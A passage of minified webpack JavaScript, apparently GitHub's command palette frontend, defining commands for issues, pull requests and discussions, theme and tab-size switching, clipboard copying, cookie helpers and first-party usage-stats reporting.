V.s)||(e.title=`${e.title}:${s}`,e.action.path=`${e.action.path}#L${s}`),e}}n(te,"FilesProvider");class se extends z.j{enabledFor(e){return!0}clearCache(){}get hasCommands(){return!1}get debounce(){return 0}async fetch(e,s=!1){return e.mode!=="?"&&!s?{results:[]}:{results:Array.from(this.element.querySelectorAll("command-palette-help")).filter(c=>c.show(e)).map((c,l)=>c.toItem(l))}}}n(se,"HelpProvider");var Ve=a(31411);class oe extends z.j{enabledFor(e){return!(e.isBlank()||e.mode==="?"||e.mode===">")}clearCache(){}get hasCommands(){return!1}async fetch(e,s=!1){return{results:[Ve.K.create(e)]}}}n(oe,"SearchLinksProvider");class q{static create(e){const s=this.providers[e.type];if(!s)throw new Error(`Unknown provider type: ${e.type}`);return new s(e)}}n(q,"ServerDefinedProviderFactory"),q.providers={remote:U,prefetched:H,commands:ee,files:te,help:se,"search-links":oe};var qe=Object.defineProperty,We=Object.getOwnPropertyDescriptor,j=n((t,e,s,o)=>{for(var r=o>1?void 0:o?We(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&qe(e,s,r),r},"server_defined_provider_element_decorateClass");let T=n(class extends He.b{constructor(){super(...arguments);this._wildcard="*"}get debounce(){return parseInt(this.fetchDebounce,10)}get hasCommands(){return this.supportsCommands}get hasWildCard(){return this.modes.includes(this._wildcard)}get modes(){return this.supportedModes===""&&(this._modes=[""]),this._modes||(this._modes=JSON.parse(this.supportedModes)),this._modes}get scopeTypes(){return this.supportedScopeTypes===""?[]:(this._scopeTypes||(this._scopeTypes=JSON.parse(this.supportedScopeTypes)),this._scopeTypes)}connectedCallback(){this.provider=q.create(this)}},"ServerDefinedProviderElement");j([i.Lj],T.prototype,"type",2),j([i.Lj],T.prototype,"supportedModes",2),j([i.Lj],T.prototype,"fetchDebounce",2),j([i.Lj],T.prototype,"supportedScopeTypes",2),j([i.Lj],T.prototype,"src",2),j([i.Lj],T.prototype,"supportsCommands",2),T=j([i.Ih],T);var Ne=a(8665),Ze=Object.defineProperty,Ke=Object.getOwnPropertyDescriptor,B=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Ke(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&Ze(e,s,r),r},"command_palette_help_element_decorateClass");let D=n(class extends HTMLElement{connectedCallback(){this.hidden=!0}show(t){return this.isEnabledScopeType(t)}isEnabledScopeType(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t.scope.type):!0}toItem(t){const e={group:this.group,title:this.titleElement.innerHTML,index:t};return this.prefix&&(e.prefix=this.prefix),this.hintElement.textContent&&(e.persistentHint=this.hintElement.innerHTML),Ne.B.from(e)}},"CommandPaletteHelpElement");B([i.Lj],D.prototype,"group",2),B([i.Lj],D.prototype,"prefix",2),B([i.Lj],D.prototype,"scopeTypes",2),B([i.fA],D.prototype,"titleElement",2),B([i.fA],D.prototype,"hintElement",2),D=B([i.Ih],D);var Ct=a(68313),Et=a(96753),St=a(28760),_t=a(3991),Je=a(77417);class y{constructor(){this.iconType="octicon",this.group="commands",this.priority=0,this.dismissAfterRun=!0}static item(e={}){return new Je.U(new this,e)}run(e){new Error("Not implemented")}isApplicable(e){return!0}}n(y,"MainWindowCommand");class W extends y{constructor(){super(...arguments);this.group="global_commands"}}n(W,"MainWindowGlobalCommand");class ne extends y{constructor(){super(...arguments);this.title="Delete discussion\u2026",this.icon="trash-color-fg-muted"}get deleteButton(){return document.querySelector("button#dialog-show-delete-discussion")}get dialogElement(){return document.querySelector("#delete-discussion")}isApplicable(){return this.deleteButton!=null}run(){const e=this.deleteButton;if(e){e.click(),setTimeout(()=>{var s,o;(o=(s=this.dialogElement)==null?void 0:s.querySelector('button[type="submit"]'))==null||o.focus()},0);return}}}n(ne,"DeleteDiscussion");class re extends y{constructor(){super(...arguments);this.title="Edit discussion body",this.icon="pencil-color-fg-muted"}get editButton(){return document.querySelector(".js-discussions-comment-edit-button")}isApplicable(){return this.editButton!=null}run(){var e;(e=this.editButton)==null||e.click()}}n(re,"EditDiscussion");class ie extends y{constructor(){super(...arguments);this.title="Transfer discussion\u2026",this.icon="arrow-right-color-fg-muted"}fetchDetails(){return document.querySelector("details.js-transfer-discussion-details")}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s==null?void 0:s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(ie,"TransferDiscussion");const Qe=[ne,ie,re];var M=a(64992),ae=a(33241),ce=a(88513);class x extends y{constructor(){super(...arguments);this.title="2 spaces",this.iconType="none",this.tabSize="2",this.group=""}async run(e){this.updateTabSize(),this.saveSettings(e)}updateTabSize(){const e=document.querySelectorAll("[data-tab-size]");for(const s of e)s.setAttribute("data-tab-size",this.tabSize)}async saveSettings(e){const s=new FormData;s.set("tab_size_rendering_preference",this.tabSize);const o="Failed to save tab size preference";try{(await(0,ce.Q)("/settings/appearance/tab_size",{method:"PUT",body:s})).ok?e.displayFlash("success","Tab size rendering updated"):e.displayFlash("error",o)}catch{e.displayFlash("error",o)}}}n(x,"TabSizeTwo");class le extends x{constructor(){super(...arguments);this.title="3 spaces",this.tabSize="3"}}n(le,"TabSizeThree");class ue extends x{constructor(){super(...arguments);this.title="4 spaces",this.tabSize="4"}}n(ue,"TabSizeFour");class de extends x{constructor(){super(...arguments);this.title="6 spaces",this.tabSize="6"}}n(de,"TabSizeSix");class he extends x{constructor(){super(...arguments);this.title="8 spaces",this.tabSize="8"}}n(he,"TabSizeEight");class pe extends x{constructor(){super(...arguments);this.title="10 spaces",this.tabSize="10"}}n(pe,"TabSizeTen");class me extends x{constructor(){super(...arguments);this.title="12 spaces",this.tabSize="12"}}n(me,"TabSizeTwelve");class fe extends W{constructor(){super(...arguments);this.title="Change tab size rendering",this.icon="gear-color-fg-muted",this.priority=10,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"tab-sizes",this.pageItems),!0)}get pageItems(){return[x,le,ue,de,he,pe,me].map(e=>e.item())}select(e){this.run(e)}}n(fe,"SwitchTabSize");class ye extends y{constructor(){super(...arguments);this.title="Open in github.dev editor",this.icon="codespaces-color-fg-muted",this.priority=10}isApplicable(){return this.fetchLink()instanceof HTMLAnchorElement}fetchLink(){return document.querySelector(".js-github-dev-shortcut")}run(){var e;(e=this.fetchLink())==null||e.click()}}n(ye,"OpenInDotDev");class ve extends W{constructor(){super(...arguments);this.title="Switch theme",this.icon="paintbrush-color-fg-muted",this.priority=9,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"switch-theme-page-1",this.pageItems),!0)}get pageItems(){return[I,Ce,be,ge,Ee].map(e=>e.item())}select(e){this.run(e)}}n(ve,"SwitchTheme");class I extends y{constructor(){super(...arguments);this.title="Default dark",this.icon="moon-color-fg-muted",this.mode="dark",this.theme="dark",this.group=""}applyTheme(){this.loadStyles(this.theme),this.mode!=="auto"&&(0,M.on)(this.theme,this.mode),(0,M.h5)(this.mode)}async run(){this.applyTheme(),this.saveSettings(this.mode,this.lightTheme,this.darkTheme)}async saveSettings(e=this.mode,s,o){const r=new FormData;r.set("color_mode",e),s&&r.set("light_theme",s),o&&r.set("dark_theme",o);const l=await(await(0,ce.Q)("/settings/appearance/color_mode",{method:"PUT",body:r})).json();this.loadStyles(l.light_theme),this.loadStyles(l.dark_theme),(0,M.on)(l.light_theme,"light"),(0,M.on)(l.dark_theme,"dark"),(0,M.h5)(l.color_mode)}loadStyles(e){const s=document.querySelector(`link[data-color-theme='${e}']`);s&&!s.hasAttribute("href")&&s.hasAttribute("data-href")&&s.setAttribute("href",s.getAttribute("data-href"))}get darkTheme(){return this.mode==="dark"?this.theme:(0,M.yn)("dark")}get lightTheme(){return this.mode==="light"?this.theme:(0,M.yn)("light")}}n(I,"SwitchToDark");class ge extends I{constructor(){super(...arguments);this.title="Switch theme to dark high contrast",this.theme="dark_high_contrast"}}n(ge,"SwitchToDarkHighContrast");class be extends I{constructor(){super(...arguments);this.title="Dark dimmed",this.theme="dark_dimmed"}}n(be,"SwitchToDarkDimmed");class Ce extends I{constructor(){super(...arguments);this.title="Default light",this.icon="sun-color-fg-muted",this.mode="light",this.theme="light"}}n(Ce,"SwitchToLight");class Ee extends I{constructor(){super(...arguments);this.title="Sync with system settings",this.icon="sun-color-fg-muted",this.mode="auto"}get darkTheme(){}get lightTheme(){}}n(Ee,"SwitchToAuto");class Se extends y{constructor(){super();const e=this.isSubscribe();this.title=`${e?"Subscribe":"Unsubscribe"}`,this.icon=`${e?"bell":"bell-slash"}-color-fg-muted`}isApplicable(){var e;return this.fetchButton()instanceof HTMLButtonElement&&((e=this.fetchButton())==null?void 0:e.disabled)===!1}isSubscribe(){var e,s;return((s=(e=this.fetchButton())==null?void 0:e.textContent)==null?void 0:s.trim())==="Subscribe"}fetchButton(){return document.querySelector(".thread-subscribe-button")}run(){var e;(e=this.fetchButton())==null||e.click()}}n(Se,"UpdateSubscription");const Xe=[ye,fe,ve,Se];function _e(t){t.focus(),t.selectionStart=t.selectionEnd=t.value.length}n(_e,"moveCursorToEnd");class N extends y{constructor(){super(...arguments);this.title="Edit issue body",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.isIssue()}run(){const e=document.createElement("button");e.hidden=!0,e.classList.add("js-comment-edit-button");const s=document.querySelector("div.js-comment");s==null||s.appendChild(e),e.click(),e.remove(),setTimeout(()=>{var o;const r=(o=s==null?void 0:s.parentElement)==null?void 0:o.querySelector("textarea.js-comment-field");r&&_e(r)},0)}}n(N,"EditIssueBody");class Z extends y{constructor(){super(...arguments);this.title="Edit issue title",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isIssue()}fetchButton(){return document.querySelector(".js-title-edit-button")}run(){var e;(e=this.fetchButton())==null||e.click(),setTimeout(()=>{const s=document.querySelector("input#issue_title[autofocus]");s&&_e(s)},0)}}n(Z,"EditIssueTitle");class we extends y{constructor(){super(...arguments);this.title="Transfer issue\u2026",this.icon="arrow-right-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-transfer-issue")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(we,"TransferIssue");class Te extends y{constructor(){super();const e=this.isLock();this.title=`${e?"Lock":"Unlock"} conversation`,this.icon=`${e?"lock":"key"}-color-fg-muted`}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}isLock(){var e,s;return((s=(e=document.querySelector("summary.lock-toggle-link"))==null?void 0:e.textContent)==null?void 0:s.trim())==="Lock conversation"}fetchDetails(){return document.querySelector("details.js-lock-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=document.querySelector("#unlock-reason"))==null||s.focus()},0))}}n(Te,"LockIssue");class xe extends y{constructor(){super(...arguments);this.title="Delete issue\u2026",this.icon="trash-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-delete-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=e.querySelector('button[type="submit"]'))==null||s.focus()},0))}}n(xe,"DeleteIssue");class Pe extends y{constructor(){super(...arguments);this.title="Convert issue to discussion\u2026",this.icon="comment-discussion-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-convert-to-discussion")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(Pe,"ConvertToDiscussion");const Ge=[Z,N,Te,we,xe,Pe];var Ye=a(78078),P=a(76745);class K extends y{constructor(){super(...arguments);this.title="Open in new codespace",this.icon="codespaces-color-fg-muted",this.priority=11}isApplicable(){const e=this.fetchElements();return!!(e.codeModal&&e.codespacesForm&&e.newCodespacesButton&&e.codespacesTab)}run(){const{codeModal:e,codespacesTab:s,newCodespacesButton:o}=this.fetchElements();!(e&&s&&o)||(e.open=!0,s.click(),o instanceof HTMLButtonElement&&o.click())}fetchElements(){const e=document.querySelector(".js-create-codespaces-form-command"),s=(e==null?void 0:e.closest("details"))||null,o=(s==null?void 0:s.querySelector('[data-tab="cloud"]'))||null,r=(e==null?void 0:e.querySelector('summary[role="button"], button[type="submit"]'))||null;return{codespacesForm:e,codeModal:s,codespacesTab:o,newCodespacesButton:r}}}n(K,"OpenCodespace");var $=a(76168);class Ae extends N{constructor(){super(...arguments);this.title="Edit pull request body"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.isPullRequest()}}n(Ae,"EditPullRequestBody");class Le extends Z{constructor(){super(...arguments);this.title="Edit pull request title"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isPullRequest()}}n(Le,"EditPullRequestTitle");class je extends y{constructor(){super(...arguments);this.title="Update current branch",this.icon="sync-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-update-branch-form button")}run(){const e=this.fetchButton();e&&(e.scrollIntoView({behavior:"smooth",block:"center"}),e.click())}}n(je,"UpdateBranch");class De extends y{constructor(){super(...arguments);this.title="Convert to draft",this.icon="git-pull-request-draft-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-convert-to-draft")}run(){var e;const s=(e=this.fetchButton())==null?void 0:e.closest("details");s&&(s.open=!0,setTimeout(()=>{var o;(o=s.querySelector(".js-convert-to-draft"))==null||o.focus()},0))}}n(De,"ConvertToDraft");class Me extends y{constructor(){super(...arguments);this.title="Copy current branch name",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-copy-branch")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Branch name copied to clipboard!")}catch{e.displayFlash("error","Unable to copy branch name to clipboard!")}}}}n(Me,"CopyBranchName");const et=[Me,Le,Ae,je,De,K];class ke extends y{constructor(){super(...arguments);this.title="Copy file permalink",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchPermalinkContainer()instanceof HTMLAnchorElement}fetchPermalinkContainer(){return document.querySelector(".js-permalink-shortcut")}async run(e){const s=this.fetchPermalinkContainer();if(s){const o=`${s.href}${window.location.hash}`;try{await(0,$.z)(o),e.displayFlash("success","Copied permalink!")}catch{e.displayFlash("error","Failed to copy permalink!")}}}}n(ke,"CopyPermalink");class Be extends y{constructor(){super(...arguments);this.title="Clone repository: Copy HTTPS",this.icon="copy-color-fg-muted",this.priority=4}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-http")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Be,"CloneCopyHttps");class Ie extends y{constructor(){super(...arguments);this.title="Clone repository: Copy SSH",this.icon="copy-color-fg-muted",this.priority=3}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-ssh")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Ie,"CloneCopySsh");class Oe extends y{constructor(){super(...arguments);this.title="Clone repository: Copy GitHub CLI",this.icon="copy-color-fg-muted",this.priority=2}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-gh-cli")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Oe,"CloneCopyCli");const tt=[Be,Ie,Oe,ke,K];class J extends Ye.B{constructor(){super(...arguments);this.itemsByType={},this.items=[],this.needsFetch=!0}enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}get hasCommands(){return!0}async fetch(e){return this.items=[...Ge.map(o=>o.item()),...et.map(o=>o.item()),...tt.map(o=>o.item()),...Qe.map(o=>o.item()),...Xe.map(o=>o.item())].filter(o=>o.isApplicable(e)),{results:this.fuzzyFilter(this.items,e)}}get debounce(){return 0}clearCache(){}}n(J,"MainWindowCommandsProvider"),window.commandPalette&&window.commandPalette.registerProvider("main-window-commands-provider",new J),window.addEventListener("command-palette-ready",()=>{var t;(t=window.commandPalette)==null||t.registerProvider("main-window-commands-provider",new J)});var O=a(64465),st=a(49815),ot=Object.defineProperty,nt=Object.getOwnPropertyDescriptor,F=n((t,e,s,o)=>{for(var r=o>1?void 0:o?nt(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&ot(e,s,r),r},"command_palette_input_element_decorateClass");let A=n(class extends HTMLElement{constructor(){super(...arguments);this.setupComplete=!1,this.connected=!1}static get observedAttributes(){return["input-value","typeahead","scope"]}setup(){this.classList.add("d-flex","flex-items-center","flex-nowrap","py-1","pl-3","pr-2","border-bottom"),this.input=this.querySelector("input.js-input"),this.overlayInput=this.querySelector("input.js-overlay-input"),this.scopeElement=this.querySelector("command-palette-scope"),this.searchIcon=this.querySelector(".js-search-icon"),this.spinner=this.querySelector(".js-spinner"),this.defaultScope=this.scope,this.hasAttribute("autofocus")&&this.input.focus(),this.inputValue.length!==0&&this._dispatchEvent("command-palette-input"),this.setupComplete=!0}connectedCallback(){this.setupComplete||this.setup(),this.inputValue=this.getAttribute("input-value")||"",this.typeahead=this.getAttribute("typeahead")||"",this.placeholder=this.getAttribute("placeholder")||"",this.connected=!0}attributeChangedCallback(t,e,s){!this.input||(t==="typeahead"?this.typeahead=s:t==="input-value"&&(this.inputValue=s,this._dispatchEvent("command-palette-input")))}focus(){this.input.focus()}setRemovedTokenAndSelect(t){t&&(this.inputValue=t),this.focus(),this.input.select()}get scope(){return this.scopeElement.scope}set scope(t){this.scopeElement.scope=t,this.clearButton.hidden=!this.hasSomethingToClear()}hasScope(){return this.scopeElement.hasScope()}clearScope(){return this.scopeElement.clearScope()}removeToken(){return this.scopeElement.removeToken()}get placeholder(){return this.input.getAttribute("placeholder")||""}set placeholder(t){this.input.setAttribute("placeholder",t)}get typeaheadPlaceholderText(){return this.typeaheadPlaceholder.textContent||""}set typeaheadPlaceholderText(t){this.typeaheadPlaceholder.textContent=t}get inputValue(){var t;return((t=this.input)==null?void 0:t.value)||""}set inputValue(t){this.input.value=t,this.typeahead=t,this.resetPlaceholder(),this.onInput()}get overlay(){return this.overlayInput.value}set overlay(t){this.overlayInput.value=t}get typeahead(){return this.typeaheadValue}set typeahead(t){if(this.typeaheadValue=this.overlay+t,this.mirror.textContent=this.inputValue,t==="")this.typeaheadText.textContent="";else if(this.placeholder="",this.typeaheadPlaceholderText="",this.valueStartsWithTypeahead){const e=this.inputValue.length-(this.overlay?1:0);this.typeaheadText.textContent=t.substring(e)}else this.typeaheadText.textContent=` \u2013 ${t}`}showModePlaceholder(t=""){this.typeaheadPlaceholderText=t}get valueStartsWithTypeahead(){return this.typeaheadValue.toLowerCase().startsWith(this.inputValue.toLowerCase())}get isCursorAtEnd(){return this.inputValue.length===this.input.selectionStart}set loading(t){this.spinner.hidden=!t,this.searchIcon.hidden=t}resetPlaceholder(){this.inputValue.replace(this.overlay,"")&&this.overlay&&(this.typeaheadPlaceholderText=""),this.placeholder=this.getAttribute("placeholder")||""}onInput(){this.resetPlaceholder(),!!this.connected&&(this.clearButton.hidden=!this.hasSomethingToClear(),this._dispatchEvent("command-palette-input"))}onClear(t){t instanceof KeyboardEvent&&t.key!=="Enter"||(this.inputValue="",this.input.focus(),this._dispatchEvent("command-palette-cleared"))}onKeydown(t){if(this.isSelectKeystroke(t.key)&&(this._dispatchEvent("command-palette-select"),t.stopImmediatePropagation(),t.preventDefault()),this.hasSomethingToClear()&&(0,O.o)(t)&&t.key==="Backspace"){this.onClear();return}if(this.input.selectionStart===0&&this.input.selectionEnd===0&&t.key==="Backspace"){this._dispatchEvent("command-palette-descope"),t.stopImmediatePropagation(),t.preventDefault();return}}hasSomethingToClear(){return this.scopeElement.hasScope()||this.inputValue.length>0}isSelectKeystroke(t){return(0,st.c)("ACCESSIBLE_COMMAND_PALETTE")?!1:t==="Tab"||t==="ArrowRight"&&this.isCursorAtEnd}textSelected(){return this.input.selectionStart!==this.input.selectionEnd}_dispatchEvent(t){const e=new CustomEvent(t,{cancelable:!0,detail:{typeahead:this.typeahead,value:this.inputValue}});return this.dispatchEvent(e)}},"CommandPaletteInputElement");A.tagName="command-palette-input",F([i.fA],A.prototype,"typeaheadPlaceholder",2),F([i.fA],A.prototype,"typeaheadText",2),F([i.fA],A.prototype,"mirror",2),F([i.fA],A.prototype,"clearButton",2),A=F([i.Ih],A);var rt=a(11793),it=a(6741),at=a(35889),Re=a(64463),ct=a(45922);window.customElements.get(O.Z.tagName)||window.customElements.define(O.Z.tagName,O.Z);function lt(){document.addEventListener("keydown",ut),(0,Re.N7)(".js-command-palette-dialog",t=>{if(!t)return;const e=window.performance.now(),s=Q();!s||(t.addEventListener("toggle",()=>{t.open?s.activate():s.deactivate()}),s.addEventListener("command-palette-activated",o=>{o instanceof CustomEvent&&(o.detail.previouslyActivated||(0,ct.b)({distributionKey:"COMMAND_PALETTE_FIRST_OPEN",distributionValue:window.performance.now()-e}))}))}),(0,Re.N7)(".js-socket-channel.js-updatable-content",{subscribe:t=>(0,it.RB)(t,"socket:message",()=>{const e=Q();!e||e.clearCommands(!1)})})}n(lt,"observeCommandPalette");function Q(){return document.querySelector(O.Z.tagName)}n(Q,"findCommandPalette");function ut(t){if(!t.code)return;const e=Q();if(!e)return;const s=mt(),o=X(e.platformActivationHotkey,t),r=X(e.platformSecondaryActivationHotkey,t),c=X(e.platformCommandModeHotkey,t),l=!dt(t)&&!s&&(o||c),L=!s&&(r||c),w=e.hasAttribute("data-memex-hotkey-enabled")&&s&&(o||r||c);(l||L||w)&&(ft(c),t.preventDefault(),t.stopPropagation())}n(ut,"handleKeyDown");function X(t,e){let s=(0,rt.EL)(e);return s=s.replace("\u02DA","k"),t.split(",").some(o=>s===o)}n(X,"hotkeyMatchesEvent");function dt(t){return ht(t)||pt(t)}n(dt,"shouldIgnoreActivation");function ht(t){const e=t.target;return e?e.closest(".js-previewable-comment-form")!==null:!1}n(ht,"triggeredInsideAPreviewableCommentForm");function pt(t){const e=t.target;if(!e)return!1;const s=e.closest(".js-code-editor");if(!s)return!1;const o=(0,at.P)(s);if(!o)return!1;const r=o.editor;if(!r)return!1;const c=r.getMode().name;return c==="gfm"||c==="markdown"}n(pt,"triggeredInsideAMarkdownCodeEditor");function mt(){return!!document.querySelector("#memex-root")}n(mt,"triggeredInsideMemex");function ft(t){for(const e of document.querySelectorAll(".js-command-palette-dialog")){const s=e.querySelector(A.tagName);if(!s)return;if(e.open)e.open=!1;else{yt(s,t);const o=e.querySelector(O.Z.tagName);o&&(o.previouslyActiveElement=document.activeElement),e.open=!0}}}n(ft,"toggleCommandPalette");function yt(t,e){const s=t.inputValue.startsWith(">");return e&&!s?(t.inputValue=`>${t.inputValue}`,!0):!e&&s?(t.inputValue=t.inputValue.substring(1),!0):!1}n(yt,"toggleCommandMode"),lt()},35889:(S,C,a)=>{a.d(C,{P:()=>v,g:()=>g});var i=a(59753);const b=new WeakMap;function v(d){return b.get(d)}n(v,"getCodeEditor");async function g(d){return b.get(d)||m(await p(d,"codeEditor:ready"))}n(g,"getAsyncCodeEditor");function m(d){if(!(d instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=d.detail.editor;if(!d.target)throw new Error("assert: event.target is null");return b.set(d.target,h),h}n(m,"onEditorFromEvent"),(0,i.on)("codeEditor:ready",".js-code-editor",m);function p(d,h){return new Promise(u=>{d.addEventListener(h,u,{once:!0})})}n(p,"nextEvent")},64992:(S,C,a)=>{a.d(C,{I3:()=>v,h5:()=>m,on:()=>p,yn:()=>d});var i=a(7739),b=a(64926);(async()=>(await i.x,(0,b.d8)("preferred_color_mode",v())))();function v(){if(g("dark"))return"dark";if(g("light"))return"light"}n(v,"getPreferredColorMode");function g(h){return window.matchMedia&&window.matchMedia(`(prefers-color-scheme: ${h})`).matches}n(g,"prefersColorScheme");function m(h){const u=document.querySelector("html[data-color-mode]");!u||u.setAttribute("data-color-mode",h)}n(m,"setClientMode");function p(h,u){const f=document.querySelector("html[data-color-mode]");!f||f.setAttribute(`data-${u}-theme`,h)}n(p,"setClientTheme");function d(h){const u=document.querySelector("html[data-color-mode]");if(!!u)return u.getAttribute(`data-${h}-theme`)}n(d,"getClientTheme")},64926:(S,C,a)=>{a.d(C,{$1:()=>b,d8:()=>g,ej:()=>i,kT:()=>m});function i(p){return b(p)[0]}n(i,"getCookie");function b(p){const d=[];for(const h of v()){const[u,f]=h.trim().split("=");p===u&&typeof f!="undefined"&&d.push({key:u,value:f})}return d}n(b,"getCookies");function v(){try{return document.cookie.split(";")}catch{return[]}}n(v,"readCookies");function g(p,d,h=null,u=!1,f="lax"){let E=document.domain;if(E==null)throw new Error("Unable to get document domain");E.endsWith(".github.com")&&(E="github.com");const _=location.protocol==="https:"?"; secure":"",G=h?`; expires=${h}`:"";u===!1&&(E=`.${E}`);try{document.cookie=`${p}=${d}; path=/; domain=${E}${G}${_}; samesite=${f}`}catch{}}n(g,"setCookie");function m(p,d=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const u=new Date().getTime(),f=new Date(u-1).toUTCString(),E=location.protocol==="https:"?"; secure":"",_=`; expires=${f}`;d===!1&&(h=`.${h}`);try{document.cookie=`${p}=''; path=/; domain=${h}${_}${E}`}catch{}}n(m,"deleteCookie")},7739:(S,C,a)=>{a.d(C,{C:()=>b,x:()=>i});const i=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),b=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},97474:(S,C,a)=>{a.d(C,{Z:()=>i});function i(b){var v,g;const m=(g=(v=b.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:g.content;if(!m)return!1;const p=m.replace(/\.$/,"").split(".").slice(-2).join("."),d=b.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return p!==d}n(i,"detectProxySite")},45922:(S,C,a)=>{a.d(C,{b:()=>g});var i=a(97474),b=a(7739);let v=[];function g(u,f=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=h(),v.push(u),f?d():p()}n(g,"sendStats");let m=null;async function p(){await b.C,m==null&&(m=window.requestIdleCallback(d))}n(p,"scheduleSendStats");function d(){var u,f;if(m=null,!v.length||(0,i.Z)(document))return;const E=(f=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:f.content;if(!E)return;const _=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(E,_)}catch{}v=[]}n(d,"flushStats");function h(){var u,f;return!!((f=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:f.content)}n(h,"isLoggedIn"),document.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d)},6741:(S,C,a)=>{a.d(C,{RB:()=>b,qC:()=>v,w0:()=>i});class i{constructor(m){this.closed=!1,this.unsubscribe=()=>{m(),this.closed=!0}}}n(i,"Subscription");function b(g,m,p,d={capture:!1}){return g.addEventListener(m,p,d),new i(()=>{g.removeEventListener(m,p,d)})}n(b,"fromEvent");function v(...g){return new i(()=>{for(const m of g)m.unsubscribe()})}n(v,"compose")}},S=>{var C=n(i=>S(S.s=i),"__webpack_exec__");S.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],()=>C(86761));var 